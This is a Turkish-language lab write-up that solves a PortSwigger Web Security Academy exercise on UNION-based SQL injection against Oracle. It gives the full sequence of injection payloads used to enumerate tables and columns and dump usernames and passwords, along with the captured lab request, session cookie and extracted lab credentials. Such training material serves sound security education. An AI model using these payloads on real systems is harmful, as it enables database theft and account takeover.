> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-attack-listing-the-database-contents-on-oracle-cozumu.md).

# SQL injection attack, listing the database contents on Oracle Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Bu labda ürün kategori filtresinde sql injection var diyor. Uygulama cevap olarak sql querysini döndürüyormuş.(yani In-Band SQL Injection) UNION kullanarak diğer tablolardan bilgi çekebilirmişiz. Devamında bir login sayfası olduğundan ve kullanıcı verilerini veritabanından çalıp administrator kullanıcısı ile giriş yapmamız gerektiğini söylüyor.

Sayfa aşağıdaki gibi:

<figure><img src="/files/lvLhWpR5tLjz9u4wkMLM" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/eF5pZ1NI1aHS79LW60y3" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET /filter?category=Accessories HTTP/1.1
Host: 0ad1005904d9f2af80e0214e00ec00b1.web-security-academy.net
Cookie: session=5MD1eBLAo2C2rVb6n5DHSUDfAAgc2BCv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-Gpc: 1
Referer: <https://0ad1005904d9f2af80e0214e00ec00b1.web-security-academy.net/>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

/filter?category=Accessories, buradaki Accessories yerine injection yapıcaz. Dediği gibi UNION ile injection yapalım. Oracle database olduğunu da başlık da belirtmiş zaten o yüzden kullanacağımız sql dilinin detayları da belli.

İlk amacımız bütün veritabanı tablolarını çekmek olmalı:

`' UNION SELECT null FROM all_tables--`

gönderince 500 hatası aldık, hatırlayın önceki SELECT sorgusunda kaç sütün çekildiyse, UNION ile eklediğimiz SELECT sorgusu da aynı sayıda sütün çekmek zorunda. Bir tane daha null ekleyelim

`' UNION SELECT null,null FROM all_tables--`

200 geldi, sorgu başarılı şimdi ilk null’u table\_name yapalım ve tablo isimlerini öğrenelim:

`' UNION SELECT table_name,null FROM all_tables--`

şimdi eskiden kategori seçince gelen ürünlerin yerine veritabanındaki tabloların adları geldi. Bunlar arasında user diye aratınca en aşağıdakinin ismi dikkatimi çekti: USERS\_FKGEGZ

(önemli uyarı: Sizde bu tablonun ismi farklı olabilir ama her zaman user diye aratınca en alttaki)

bu tablodaki sütün isimlerini öğrenelim:

`' UNION SELECT column_name,null FROM all_tab_columns WHERE table_name='USERS_FKGEGZ'--`

çıktıda email password ve username var.

`EMAIL PASSWORD_BJQBLQ`

`USERNAME_BKKEHO`

Biz direk username ve passwordu çekelim string birleştirme(Concatenation) metodu ile

`' UNION SELECT USERNAME_BKKEHO || ' ve ' || PASSWORD_BJQBLQ,null FROM USERS_FKGEGZ--`

Çıktısında bütün isim ve şifreler geldi:

```bash
administrator ve 2c62wb84kqc7obr3xvwg
carlos ve snac1op922t9mydhtrsg
wiener ve ccbzm4mz0ponrn88vivf
```

bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapın ve labı tamamlayın

<figure><img src="/files/d9uOS0irxLVwvGfFfyvY" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MgTEXinzieqXP8T7VVcn" alt=""><figcaption></figcaption></figure>
